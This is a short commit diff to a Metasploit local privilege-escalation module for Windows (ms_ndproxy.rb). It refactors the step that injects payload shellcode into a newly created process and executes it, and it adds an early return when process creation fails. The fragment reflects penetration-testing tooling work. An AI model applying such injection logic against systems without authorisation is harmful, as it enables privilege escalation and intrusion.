Save one variable

modules/exploits/windows/local/ms_ndproxy.rb

@@ -437,12 +437,11 @@ class Metasploit3 < Msf::Exploit::Local
 
     if new_pid.nil?
       print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
+      return
     end
 
     print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
-    shellcode_executed = execute_shellcode(p, nil, new_pid)
-
-    if shellcode_executed
+    if execute_shellcode(p, nil, new_pid)
       print_good("Enjoy")
     else
       fail_with(Failure::Unknown, "Error while executing the payload")